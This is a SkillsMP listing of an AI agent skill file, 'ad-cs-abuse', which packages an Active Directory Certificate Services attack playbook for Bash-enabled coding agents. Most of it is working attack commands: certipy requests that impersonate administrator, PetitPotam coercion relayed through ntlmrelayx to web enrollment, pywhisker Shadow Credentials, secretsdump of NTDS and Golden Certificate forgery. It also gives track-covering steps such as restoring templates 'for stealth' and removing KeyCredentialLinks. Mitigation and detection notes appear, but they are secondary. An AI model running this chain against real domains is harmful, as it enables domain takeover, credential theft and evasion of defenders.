菜单
Active Directory Certificate Services (AD CS) abuse — ESC1-ESC15 attack patterns, PKINIT, PetitPotam to AD CS to Domain Admin chains, CVE-2022-26923 (Certifried), Shadow Credentials, Golden Certificate, certificate template ACL abuse, NTLM relay to web enrollment.
默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。
决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/brucesongs/kali-claw --skill ad-cs-abuse命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
正在显示 SKILL.md
| name | ad-cs-abuse |
| description | Active Directory Certificate Services (AD CS) abuse — ESC1-ESC15 attack patterns, PKINIT, PetitPotam to AD CS to Domain Admin chains, CVE-2022-26923 (Certifried), Shadow Credentials, Golden Certificate, certificate template ACL abuse, NTLM relay to web enrollment. |
| origin | kali-claw |
| version | 0.2.0.2 |
| compatibility | ["claude-code","claude-sonnet-4.5","cursor","windsurf","openclaw"] |
| allowed-tools | ["Bash","Read","Write","Edit","WebSearch","WebFetch"] |
| metadata | {"domain":"ad-cs-abuse","category":"enterprise-cloud","tool_count":13,"guide_count":1,"mitre":"T1552-Unsecured Credentials","last_reviewed":"2026-07-24","keywords":["AD CS","PKI","ESC1","PetitPotam","PKINIT","Certipy","X.509","certificate template","ADCSPwn","CVE-2022-26923","Shadow Credentials","Golden Certificate","NTLM relay"]} |
Supplementary Files:
payloads.md-- Payload collection organized by ESC1-ESC15 patterns plus PetitPotam relay, Certifried, Shadow Credentials, Golden Certificate, and PKINIT abuse (60+ code blocks, 2,000+ lines)test-cases.md-- Structured test case templates (12 cases TC-AC-001 through TC-AC-012 covering full AD CS attack surface)guides/ad-cs-abuse-playbook.md-- Comprehensive playbook with architecture refresher, ESC pattern matrix, real-world incidents, lab setup, and defensive guidance
AD CS abuse skill domain covering enterprise PKI compromise. Active Directory Certificate Services is Microsoft's PKI implementation and is deployed in approximately 90% of enterprise Windows environments. When misconfigured, AD CS becomes one of the most reliable paths from any domain user to Domain Admin or Enterprise Admin, often without touching the DC's LDAP/DRSUAPI interfaces that high-maturity defenders monitor for DCSync and similar attacks.
Domain: enterprise-cloud (AD CS / PKI)
MITRE ATT&CK: T1552-Unsecured Credentials, T1606-Forged Web Credentials, T1550-Use Alternate Authentication Material
This skill is deliberately scoped to PKI and certificate-specific abuse. The ad-ldap-attack skill covers general Active Directory attacks (reconnaissance, LDAP enumeration, Kerberos attacks like AS-REP Roasting and Kerberoasting, Pass-the-Hash, DCSync, Golden/Silver Tickets, lateral movement via SMB/WMI). This skill does not duplicate that material.
| Topic | ad-ldap-attack | ad-cs-abuse (this skill) |
|---|---|---|
| Reconnaissance | NetBIOS, DNS, SMB, LDAP enumeration | CA discovery, template ACL audit, PKI health |
| Kerberos | AS-REP, Kerberoasting, Golden/Silver Ticket | PKINIT (RFC 4556) — cert-to-TGT |
| Credentials | NTLM hash, password, krbtgt | X.509 certs, key material, msDS-KeyCredentialLink |
| Lateral Movement | PtH, PtT, WMI, SMB | Cert-based Schannel, PKINIT auth |
| Domain Admin | DCSync via DRSUAPI | ESC1-ESC15 via certificate enrollment |
| Relay Targets |
| SMB, LDAP |
| HTTP (Web Enrollment), ICPR (RPC) |
| Post-Exploitation | GPO, delegation | Shadow Credentials, Golden Certificate |
When the engagement involves the strings pKI-Certificate-Template, msPKI-, ENROLLEE_SUPPLIES_SUBJECT, EDITF_ATTRIBUTESUBJECTALTSSUBJECT2, certsrv, certenroll, KeyCredentialLink, or PKINIT, route through this skill rather than ad-ldap-attack. If both paths are in scope, chain this skill first (PKI abuse) and use harvested cert material with ad-ldap-attack techniques for broader domain dominance.
Active Directory Certificate Services transforms a Windows domain into a PKI-aware authentication realm. An enterprise CA published to the Configuration naming context can issue certificates that authenticate as any principal in the forest — including the krbtgt account, Domain Admins, and the DC machine accounts themselves — provided the requester can enroll against a template that grants them that power. The 2021 SpecterOps whitepaper "Certified Pre-Owned" catalogued fifteen classes of misconfiguration (ESC1 through ESC15) that turn a default AD CS deployment into a privilege-escalation engine. Combined with PetitPotam (CVE-2021-36942) NTLM relay coercion, an unauthenticated attacker can pivot from a single network foothold to Enterprise Admin with as few as three packets plus a forged TGT.
The attack chain typically begins with PKI enumeration via Certipy or Certify, identifying vulnerable certificate templates through their msPKI-Certificate-Name-Flag, msPKI-Certificate-Policy, Extended Key Usage (EKU), and ACL attributes. Templates flagged with ENROLLEE_SUPPLIES_SUBJECT (ESC1), missing or AnyPurpose EKUs (ESC2/ESC3), weak ACLs (ESC4/ESC5/ESC7), or CA-level EDITF_ATTRIBUTESUBJECTALTSSUBJECT2 (ESC6) become the enrollment target. The attacker requests a certificate that authenticates as administrator@domain or a DC, then exchanges that certificate for a TGT via PKINIT, and concludes by extracting credentials from the impersonated principal.
This skill emphasises realistic Kali Linux tooling: Certipy (the ly4k Python fork, current standard), Certify and PSPKIAudit from GhostPack, ADCSPwn for relay automation, ntlmrelayx (Impacket) with --adcs for the HTTP-relay path, PetitPotam and Coercer for coercion, Rubeus/Kekeo for PKINIT auth on Windows footholds, Whisker/pywhisker for Shadow Credentials, and OpenSSL with certutil for X.509 parsing and verification. Each pattern includes the related KB number (e.g. KB5005413 for ESC9/ESC10), the CVE (CVE-2021-36942 for PetitPotam, CVE-2022-26923 for Certifried), and the detection telemetry defenders should expect (Event IDs 4886, 4887, 48865, 4768 with certificate pre-auth).
WriteAccountRestrictions or equivalent ACL on a target, write a msDS-KeyCredentialLink value via Whisker/pywhisker and persist cert-based access that survives password resets.*.pfx export, DPAPI-protected machine key, or certsrv database), forge arbitrary certificates offline for any principal, mirroring Golden Ticket semantics for PKI-backed authentication.| Tool | Category | Purpose |
|---|---|---|
| Certipy (ly4k fork) | Enumeration + Abuse | Modern Python AD CS attack suite — certipy find, certipy req, certipy auth, certipy ca, certipy account, certipy template |
| Certify (GhostPack / HarmJ0y) | Enumeration + Abuse | C# AD CS enumeration and abuse — Certify.exe find /vulnerable, Certify.exe request, runs in-memory via Cobalt Strike execute-assembly |
| PSPKIAudit / PSPKI module | Enumeration | PowerShell module — Get-CATemplate, Invoke-AADCSPwn wrappers, ACL audit |
| ADCSPwn (bsbedo) | Relay Automation | End-to-end ESC8 automation — coercer + relay + cert request + PKINIT in one tool |
| ntlmrelayx (Impacket) | NTLM Relay | Impacket relay listener with --adcs and --template flags for ESC8 / ESC11 |
| PetitPotam (CVE-2021-36942 PoC) | Authentication Coercion | Anonymous LSARPC coercion via MS-EFSRPC EfsRpcOpenFileRaw — forces DC$ to authenticate to attacker |
| Coercer | Authentication Coercion | Multi-method coercer — sweeps MS-EFSRPC, MS-RPRN, MS-DFSNM, MS-EVEN for any path that triggers machine auth |
| Rubeus (GhostPack) | PKINIT / Kerberos | Windows Kerberos attack toolkit — Rubeus asktgt /certificate:, Rubeus asktgs, Rubeus dump, Rubeus tgtdeleg |
| Kekeo (GentilKiwi) | PKINIT / Golden Cert | Mimikatz sibling — tgt::ask /pfx:, kerberos::ptt, full PKINIT client implementation |
| Whisker (Elad Shamir) | Shadow Credentials | C# tool to abuse msDS-KeyCredentialLink — Whisker add /target:, Whisker list, Whisker remove |
| pywhisker (ShutdownRepo) | Shadow Credentials | Python port of Whisker — same operations, runs from Kali without Windows foothold |
| X509 Cert Examiner / OpenSSL | X.509 Parsing | Decode ASN.1 DER cert structures — openssl x509 -in cert.pem -text -noout, openssl pkcs12 -info, verify EKU/SAN/issuer chains |
| certutil / pkiview.msc / Microsoft PKI Health | Native Inspection | Windows-native CA inspection — certutil -template, certutil -catemplates, pkiview.msc for CA health and AIA/CDP validation |
Identify Enterprise CAs, Standalone CAs, Web Enrollment endpoints, and enrollment services via LDAP, RPC, and HTTP reconnaissance.
pKIEnrollmentService objects to locate CAs and their dNSHostName, certificate templates (certificateTemplates), and CA certificate blobshttp://<ca>/certsrv/ and inspecting the Default.aspx enrollment UIconfigurationNamingContext for CA objects and reading flags and CA Namepkiview.msc or openssl verify against the NTAuthStore and Root CA storePull every published template and classify against the ESC1-ESC15 matrix by inspecting flags, EKUs, issuance requirements, and ACLs.
certipy find / Certify find against the domain to extract template metadata and ACLsmsPKI-Certificate-Name-Flag includes CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x1) — ESC1 candidatespKIExtendedKeyUsage for AnyPurpose, no EKU, PKINIT KDC, or Client Authentication — ESC2/ESC3/ESC13 candidatesWriteOwner, WriteDacl, WriteProperty, or GenericAll — ESC4 candidatesEDITF_ATTRIBUTESUBJECTALTSSUBJECT2, EDITF_DISABLEEXTENSIONLIST) — ESC6 candidatesManageCA / ManageCertificates held by non-admins — ESC5/ESC7 candidatesEnroll against a classified-vulnerable template to obtain a certificate that authenticates as a privileged principal.
certipy req -ca '<CA-Name>' -template '<Template>' -upn 'administrator@domain' -dns 'dc01.domain'-san with the target UPN; for ESC6, supply -san even on standard templates because the CA flag honours itcertipy template -save-old / certipy ca to add attacker-controlled flags, then enrollopenssl x509 -text and that the SAN, EKU, and subject match the impersonation targetExchange the issued certificate for a Kerberos TGT via PKINIT (RFC 4556), then use the TGT for standard Kerberos attacks.
certipy auth -pfx admin.pfx -dc-ip <DC> to obtain a .ccache TGT for the impersonated principalRubeus asktgt /user:administrator /certificate:admin.pfx /password:... /domain:... /dc:... /pttPA-PK-AS-REP pre-auth type (16) via klist or Decode-Ticketexport KRB5CCNAME=admin.ccache) for Impacket toolsLeverage the elevated TGT for domain dominance and establish persistent PKI-based access.
secretsdump.py -k -no-pass administrator@dc01.domain to dump NTDS via the PKINIT-derived TGTpywhisker add --target "dc01$"certipy forge -ca-pfx <ca-cert> -upn administrator -subject 'CN=Administrator,CN=Users,DC=...'# Locate all Enterprise CAs in the Configuration partition
ldapsearch -x -H ldap://dc01.corp.local -D "CORP\\svc_ldap" -w 'Password123!' \
-b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
"(objectclass=pKICertificateTemplate)" cn displayName
# Locate the CA enrollment endpoints
ldapsearch -x -H ldap://dc01.corp.local -D "CORP\\svc_ldap" -w 'Password123!' \
-b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
"(objectclass=pKIEnrollmentService)" cn dNSHostName certificateTemplates
# Probe Web Enrollment endpoint
curl -sk http://ca01.corp.local/certsrv/ | head -20
# Install / upgrade Certipy (ly4k fork)
python3 -m pip install --upgrade certipy
# Vulnerable template scan with BloodHound-style output
certipy find -u 'corp\svc_ldap' -p 'Password123!' -dc-ip 10.10.0.1 -vulnerable
# Text + JSON output for offline analysis
certipy find -u 'corp\svc_ldap' -p 'Password123!' -dc-ip 10.10.0.1 \
-old-bloodhound -text -json
# Targeted lookup for a specific template
certipy find -u 'corp\svc_ldap' -p 'Password123!' -dc-ip 10.10.0.1 \
-enabled
# Identify ESC1 templates (ENROLLEE_SUPPLIES_SUBJECT = 0x1)
certipy find -u 'corp\svc_ldap' -p 'Password123!' -dc-ip 10.10.0.1 \
-vulnerable | grep -A5 ESC1
# Request a cert authenticating as administrator via SAN
certipy req -u 'corp\svc_ldap' -p 'Password123!' -dc-ip 10.10.0.1 \
-ca 'CORP-CA01-CA' -template 'VulnTemplate' \
-san 'administrator@corp.local'
# Authenticate with the resulting PFX to obtain a TGT
certipy auth -pfx administrator.pfx -dc-ip 10.10.0.1
# Terminal 1: start ntlmrelayx targeting AD CS Web Enrollment
ntlmrelayx.py -t http://ca01.corp.local/certsrv/certfnsh.asp -smb2support \
--adcs --template 'DomainController'
# Terminal 2: coerce the DC to authenticate to the relay
python3 PetitPotam.py -u '' -p '' -d corp.local \
10.10.0.100 10.10.0.1 # attacker_IP DC_IP
# Terminal 3: with the relayed base64 PFX, PKINIT to a TGT
certipy auth -pfx <base64_pfx> -dc-ip 10.10.0.1 -ns 10.10.0.1 -dns corp.local
# Use the TGT for secretsdump
KRB5CCNAME=dc01.ccache impacket-secretsdump -k -no-pass dc01.corp.local
# Save the current template state, then make it ESC1-equivalent
certipy template -u 'corp\svc_ldap' -p 'Password123!' -dc-ip 10.10.0.1 \
-template 'WritableTemplate' -save-old
# Now request against the modified template (it now has ENROLLEE_SUPPLIES_SUBJECT)
certipy req -u 'corp\svc_ldap' -p 'Password123!' -dc-ip 10.10.0.1 \
-ca 'CORP-CA01-CA' -template 'WritableTemplate' \
-san 'administrator@corp.local'
# Restore the original template state for stealth
certipy template -u 'corp\svc_ldap' -p 'Password123!' -dc-ip 10.10.0.1 \
-template 'WritableTemplate' -configuration WritableTemplate.json
# Write a KeyCredentialLink to a target via pywhisker
pywhisker.py -d corp.local -u 'svc_ldap' -p 'Password123!' \
--target 'DC01$' --action 'add'
# Use the resulting PFX to PKINIT as the DC machine account
certipy auth -pfx dc01.pfx -dc-ip 10.10.0.1
# List existing KeyCredentialLinks (recon)
pywhisker.py -d corp.local -u 'svc_ldap' -p 'Password123!' \
--target 'Administrator' --action 'list'
# Remove the KeyCredentialLink to cover tracks
pywhisker.py -d corp.local -u 'svc_ldap' -p 'Password123!' \
--target 'DC01$' --action 'remove' --device-id <KeyId>
msDS-KeyCredentialLink (attribute ID 5cb47ed8-8b67-4947-b91e-5f6e0bbe2c1a) is a high-signal detection. Microsoft Defender for Identity raises a "Suspicious modification of a KeyCredentialLink" alert.ENROLLEE_SUPPLIES_SUBJECT from any template with Client Authentication or PKINIT KDC EKU. Restrict enrollment to narrowly-scoped groups. Apply KB5014754 ("patch Tuesday" hardening, May 2022) which adds strong certificate mapping enforcement.GenericAll, WriteDacl, WriteOwner, and WriteProperty from any non-admin principal. ManageCA and ManageCertificates should be restricted to Domain Admins / Enterprise Admins only.EDITF_ATTRIBUTESUBJECTALTSSUBJECT2 on the CA via certutil -setreg policy\\EditFlags -EDITF_ATTRIBUTESUBJECTALTSSUBJECT2 and restart Certificate Services.certsrv IIS application.FullEnforce from November 2023) under HKLM\SYSTEM\CurrentControlSet\Services\Kerberos\Parameters\StrongCertificateBindingEnforcement = 2.certutil -setreg CA\\InterfaceFlags +IF_ENFORCEENCRYPTICSPREQUEST.PSPKIAudit or Certipy in CI / weekly cadence and alert on any change.msDS-KeyCredentialLink abuse via PKINIT.# Certipy (ly4k fork) — primary Kali tool
python3 -m pip install --upgrade certipy
# Verify
certipy --version
# pywhisker — Shadow Credentials from Kali
python3 -m pip install --upgrade pywhisker
# PetitPotam — anonymous MS-EFSRPC coercion
git clone https://github.com/topotam/PetitPotam.git
cd PetitPotam && python3 -m pip install -r requirements.txt
# Coercer — multi-method coercion framework
git clone https://github.com/p0dalirius/Coercer.git
cd Coercer && python3 -m pip install -r requirements.txt
# Impacket — ntlmrelayx with --adcs
python3 -m pip install --upgrade impacket
# Verify the AD CS relay flag is present
ntlmrelayx.py --help | grep -A2 adcs
# ADCSPwn — all-in-one ESC8 chain
git clone https://github.com/bats3c/ADCSPwn.git
cd ADCSPwn && python3 -m pip install -r requirements.txt
# OpenSSL — cert parsing (already on Kali)
openssl version
# PSPKIAudit / PSPKI module — requires Windows PowerShell
# Install on a Windows foothold or via dotnet on Kali
# Install-Module -Name PSPKI -Scope CurrentUser
| Scenario | Path | Tool | Notes |
|---|---|---|---|
| Authenticated domain user, want to read templates | ESC1-ESC7 scan | certipy find -vulnerable | Cheapest path |
Template has ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU | ESC1 | certipy req -san | Direct escalation |
| Template has AnyPurpose or no EKU | ESC2 | certipy req then chain | Often pairs with ESC1 |
| Template has PKINIT KDC EKU and Domain Computers can enroll | ESC3 / KDC cert | certipy req then impersonate DC | High impact |
You hold WriteDacl on a template | ESC4 | certipy template -save-old then modify | Restore after use |
You hold ManageCA on the CA | ESC7 | certipy ca to flip flags | SubCA path |
CA has EDITF_ATTRIBUTESUBJECTALTSSUBJECT2 flag | ESC6 | certipy req -san on any template | Global SAN flag |
| Unauthenticated network position | ESC8 | PetitPotam + ntlmrelayx --adcs | DC$ to DA chain |
| Post-KB5005413, strong mapping in Audit mode | ESC9 / ESC10 | SubjectSid / no security extension | Often paired with Certifried |
| Need persistent backdoor | Shadow Credentials | pywhisker add | Survives password reset |
| Have CA private key (PFX) | Golden Certificate | certipy forge | Forgery offline |
| CA patched (post-Aug 2022) but machine cert path open | CVE-2022-26923 Certifried | certipy req with machine DNS attr | Bypasses SID binding |
ENROLLEE_SUPPLIES_SUBJECT flag using different user SAN; correlate 4886/4887 requests.certsrv virtual directory showing NTLM auth (vs expected Kerberos).index=ad sourcetype=XmlWinEventLog:Security EventCode=4887 | stats count by TemplateName by RequesterNamesigma/rules/windows/ad_cs_abuse.ymlcertipy find -vulnerable against your own CA; map results to detection rules.See also:
## Anti-Forensics and OPSEC Considerationsabove for detailed OPSEC notes per ESC technique.
certipy template -save-old to capture original state, restore after enrollment (Event 5136 spike avoided).certsrv directly.certsrv.edb) and viewable via certutil -view. Backdating, deleting, or manipulating CA database records requires CA Database Administrator (ManageCA) and is itself a high-signal alert.certipy template -save-old to capture the original state and restore after the request. Modification events are Event 5136 (directory service object modified) and are audited by default.certsrv virtual directory. These are stored in %SystemRoot%\System32\LogFiles\W3SVC1\ and are often not aggressively rotated. Time-box engagements.This skill does not cover:
ad-ldap-attackcloud-identity-attackcms-framework-attack and api-securityav-edr-evasion and payload-generationIf the engagement crosses into any of these, chain the relevant skill in sequence.
基于 SOC 职业分类